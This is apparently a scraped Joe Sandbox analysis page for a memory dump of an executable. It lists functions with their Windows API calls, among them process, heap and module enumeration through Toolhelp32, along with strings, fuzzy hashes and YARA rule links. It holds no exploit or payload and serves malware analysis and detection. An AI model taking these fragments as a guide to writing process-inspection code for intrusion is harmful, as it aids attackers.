Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4543178a33cbde168d9c3394c8b33df7632f3382d28edc0adb4430b1e6ccf1ae
Instruction ID: 86bdf0f6991c96a65a3aa3a8ff62a1229511d45d153f5b7f4e41ab8d752a2083
Opcode Fuzzy Hash: 4543178a33cbde168d9c3394c8b33df7632f3382d28edc0adb4430b1e6ccf1ae
Instruction Fuzzy Hash: 7FF049F47523405FDB09EFBAAA443017AD2F78E244F24C13DD609DB389E77194028B00

Function 031C1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,031C2000), ref: 031C16A4

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6d79b4f7b71920449dfeb97ae3357430f7ac8f3d972bee088be795c36a5182a4
Instruction ID: 96f9da1eb98d99c070c7adc5120f3ae93cb36308028f5a3ff0f5baf6504934ec
Opcode Fuzzy Hash: 6d79b4f7b71920449dfeb97ae3357430f7ac8f3d972bee088be795c36a5182a4
Instruction Fuzzy Hash: 97F02EBAA407A57BD710EF4AAC80B82BB90FB19324F044139FA089B344C3B0A8008794

Function 031C16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 031C1704

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 83b0a146a2fc254230e608cfd06ffb909925fb00a56e4fc98f19c2b07c86f6f7
Instruction ID: 3000d63e2d3e5df836dccdd8052526843c3ac463b8ca12f0f66c3d9e00891b3f
Opcode Fuzzy Hash: 83b0a146a2fc254230e608cfd06ffb909925fb00a56e4fc98f19c2b07c86f6f7
Instruction Fuzzy Hash: F0E086793503517FD7109AB95D44712ABD9EB6D550F244479F505DB242D3A0E8008760

Non-executed Functions

Function 031DAB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,031DADA3,?,?,031DAE35,00000000,031DAF11), ref: 031DAB30
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 031DAB48
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 031DAB5A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 031DAB6C
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 031DAB7E
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 031DAB90
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 031DABA2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 031DABB4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 031DABC6
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 031DABD8
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 031DABEA
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 031DABFC
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 031DAC0E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 031DAC20
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 031DAC32
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 031DAC44
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 031DAC56

Strings

Module32NextW, xrefs: 031DAC4E
Heap32Next, xrefs: 031DAB88
Process32FirstW, xrefs: 031DABD0
Module32FirstW, xrefs: 031DAC3C
Process32Next, xrefs: 031DABBE
Process32NextW, xrefs: 031DABE2
Thread32First, xrefs: 031DABF4
CreateToolhelp32Snapshot, xrefs: 031DAB40
Module32Next, xrefs: 031DAC2A
Toolhelp32ReadProcessMemory, xrefs: 031DAB9A
Heap32ListFirst, xrefs: 031DAB52
Module32First, xrefs: 031DAC18
Thread32Next, xrefs: 031DAC06
Heap32ListNext, xrefs: 031DAB64
Process32First, xrefs: 031DABAC
kernel32.dll, xrefs: 031DAB2B
Heap32First, xrefs: 031DAB76

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: d40ed4ac023aece0ea9db96c7bd963d7943383e5096ba0f001e3065007c896c2
Instruction ID: 4581db43a8528f3e0915f044fd091391edbdaa04e379840f5e9786fa2bc20aca
Opcode Fuzzy Hash: d40ed4ac023aece0ea9db96c7bd963d7943383e5096ba0f001e3065007c896c2
Instruction Fuzzy Hash: 723191B8A507E09FDF10EFBCE889A5D37A8EF2F6127144965A830DF209E774A440CB51

Function 031C5908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,031C737C,031C0000,031EE790), ref: 031C5925
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 031C593C
lstrcpynA.KERNEL32(?,?,?), ref: 031C596C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,031C737C,031C0000,031EE790), ref: 031C59D0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,031C737C,031C0000,031EE790), ref: 031C5A06
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,031C737C,031C0000,031EE790), ref: 031C5A19
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,031C737C,031C0000,031EE790), ref: 031C5A2B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031C737C,031C0000,031EE790), ref: 031C5A37
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031C737C,031C0000), ref: 031C5A6B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,031C737C), ref: 031C5A77
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 031C5A99

Strings

kernel32.dll, xrefs: 031C5920
GetLongPathNameA, xrefs: 031C5933
\, xrefs: 031C5A49

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 8e141d023f5d83a07a606f8197fa898e0e9c3664ec427503bd647066273d8852
Instruction ID: 4c998f541705e1a4b57e65fe85c72cc2e927007eb60f3183988effd333d34006
Opcode Fuzzy Hash: 8e141d023f5d83a07a606f8197fa898e0e9c3664ec427503bd647066273d8852
Instruction Fuzzy Hash: 2F418E79D50299AFDB20DAE9CC88ADEB3BDAF1D240F1445E9E144EB241E770EE408B50

Function 031C5BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031C5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 031C5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 031C5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 031C5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031C5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031C5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031C5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031C5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 031C5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 031C5CEB

Strings

Software\Borland\Locales, xrefs: 031C5AFC, 031C5B1A
Software\Borland\Delphi\Locales, xrefs: 031C5B38

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction ID: dcfe56af66f05711fa1c65d2fa42a256f0bb1801d0396704d0700874af3356c0
Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction Fuzzy Hash: 4631A475E502AC3BEB25D6B48C85BDEB7AD9B1D380F1402F99604E6081D774EE888B54

Function 031C7FD4 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 031C7FF5

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction ID: 8e38d4e0ecc86bacb0c308a77a9461f20c7484a0ce824a4f3f7a7a3738241ad0
Opcode Fuzzy Hash: 6da40a96276824e7acf15013fedfea5da185deed3b000be9258f4dab930fd872
Instruction Fuzzy Hash: 151100B5A00209AF9B00CF99C881DAFF7F9FFCD300B14C559A414EB250E671AA01CB90

Function 031CA7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031CA7E2

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction ID: da33b0a759cf9b83adfa4d550ec06157ed20eabb5003832d5537cd57e20033a7
Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction Fuzzy Hash: 18E0D87572435817D316E55D9C80EFA725CAB6C610F00427EBD05CB385EFF19E8046E8

Function 031CB78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,031ED106,00000000,031ED11E), ref: 031CB79A

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1edb9d1cd1876dce230502a44d67f8269d1321a30f3d86a91dad482e1a9c7364
Instruction ID: 9cf2ca581c85b1ee0e0cc90ed55b3d2bc1f3326c8dbb79584cc81e24cfa0fe43
Opcode Fuzzy Hash: 1edb9d1cd1876dce230502a44d67f8269d1321a30f3d86a91dad482e1a9c7364
Instruction Fuzzy Hash: B6F017789183418FD348EF68D44161577E8FB5C600F04892CE898CB388E7369494DBB2

Function 031CA810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,031CBE72,00000000,031CC08B,?,?,00000000,00000000), ref: 031CA823

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction ID: d68044233d66bdc905ea93cfadf816996a074cd0f2ccce30db3a596bd3d7de86
Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction Fuzzy Hash: 0DD05EA631E2A42BA215D15A2D84D7B5ADCDED9AA2F04403EB988CA111D310CC07D671

Function 031C920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 031C9210

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction ID: 0c979fdf733421107f31b663709d68e470cf4d18ff1feb824de92923a4e0bd3f
Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction Fuzzy Hash: EAA0124440497042854073180C0253430405C20920FC8874468F8442D0EA2D45208093

Function 031C20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 031CD294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 031CD29D

Part of subcall function 031CD268: GetProcAddress.KERNEL32(00000000), ref: 031CD281

Strings

VarI4FromStr, xrefs: 031CD3C9
VarBstrFromCy, xrefs: 031CD44D
VarAdd, xrefs: 031CD2ED
oleaut32.dll, xrefs: 031CD298
VarDiv, xrefs: 031CD32F
VariantChangeTypeEx, xrefs: 031CD2AB
VarXor, xrefs: 031CD39D
VarCyFromStr, xrefs: 031CD421
VarBstrFromBool, xrefs: 031CD479
VarCmp, xrefs: 031CD3B3
VarSub, xrefs: 031CD303
VarBoolFromStr, xrefs: 031CD437
VarAnd, xrefs: 031CD371
VarIdiv, xrefs: 031CD345
VarOr, xrefs: 031CD387
VarBstrFromDate, xrefs: 031CD463
VarMod, xrefs: 031CD35B
VarR4FromStr, xrefs: 031CD3DF
VarNot, xrefs: 031CD2D7
VarDateFromStr, xrefs: 031CD40B
VarNeg, xrefs: 031CD2C1
VarMul, xrefs: 031CD319
VarR8FromStr, xrefs: 031CD3F5

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 8e33663388d31ef81cbae8aef5f224c0b9800d59c0a2cc8b6ff099485b969955
Instruction ID: 2f7b2250d49163ad2232322bfed39d7a9717f9275d427e5f4e9fc7668560535a
Opcode Fuzzy Hash: 8e33663388d31ef81cbae8aef5f224c0b9800d59c0a2cc8b6ff099485b969955
Instruction Fuzzy Hash: 44415F696783CC5B9204FB6D7604426F7E9D66DA143A0823EB424AB784DB30FC538669

Function 031D6ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 031D6EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 031D6EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 031D6EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 031D6F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 031D6F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 031D6F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 031D6F3F

Strings

CoReleaseServerProcess, xrefs: 031D6F19
CoResumeClassObjects, xrefs: 031D6F29
CoInitializeEx, xrefs: 031D6EF9
CoCreateInstanceEx, xrefs: 031D6EE9
ole32.dll, xrefs: 031D6ED9
CoAddRefServerProcess, xrefs: 031D6F09
CoSuspendClassObjects, xrefs: 031D6F39

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: d44ac31da967b7d4833ba25c2eb9fdce15cf4a967d3179dea4632f5e956815a6
Instruction ID: 0c098b713c96e9bbfe6d9f2808b293c921bfed7a356cb5ccf00df01ab651192a
Opcode Fuzzy Hash: d44ac31da967b7d4833ba25c2eb9fdce15cf4a967d3179dea4632f5e956815a6
Instruction Fuzzy Hash: 9CF0ACE46587D07FEA04FBB05C9186E2758A97D5053482C1DA8165D547E776A8408730

Function 031C2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 031C28CE

Strings

An unexpected memory leak has occurred. , xrefs: 031C2690
The unexpected small block leaks are:, xrefs: 031C2707
Unexpected Memory Leak, xrefs: 031C28C0
, xrefs: 031C2814
Unknown, xrefs: 031C278C
bytes: , xrefs: 031C275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 031C2849
String, xrefs: 031C27A1
7, xrefs: 031C26A1

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 10ea347480903c10a3fc500986f11b984c729f95da482b55d67345060613237e
Instruction ID: 51174c9435e9af95bb7adebaab9d56c17cda6b9f004092fbbe34ab5bf58d34c6
Opcode Fuzzy Hash: 10ea347480903c10a3fc500986f11b984c729f95da482b55d67345060613237e
Instruction Fuzzy Hash: 87A1C734A143E48FDF21EA2CCC84BD9B6E4EB2D650F1448E9D549AB242CF7589C7CB51

Function 031C252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

An unexpected memory leak has occurred. , xrefs: 031C2690
The unexpected small block leaks are:, xrefs: 031C2707
Unexpected Memory Leak, xrefs: 031C28C0
, xrefs: 031C2814
bytes: , xrefs: 031C275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 031C2849
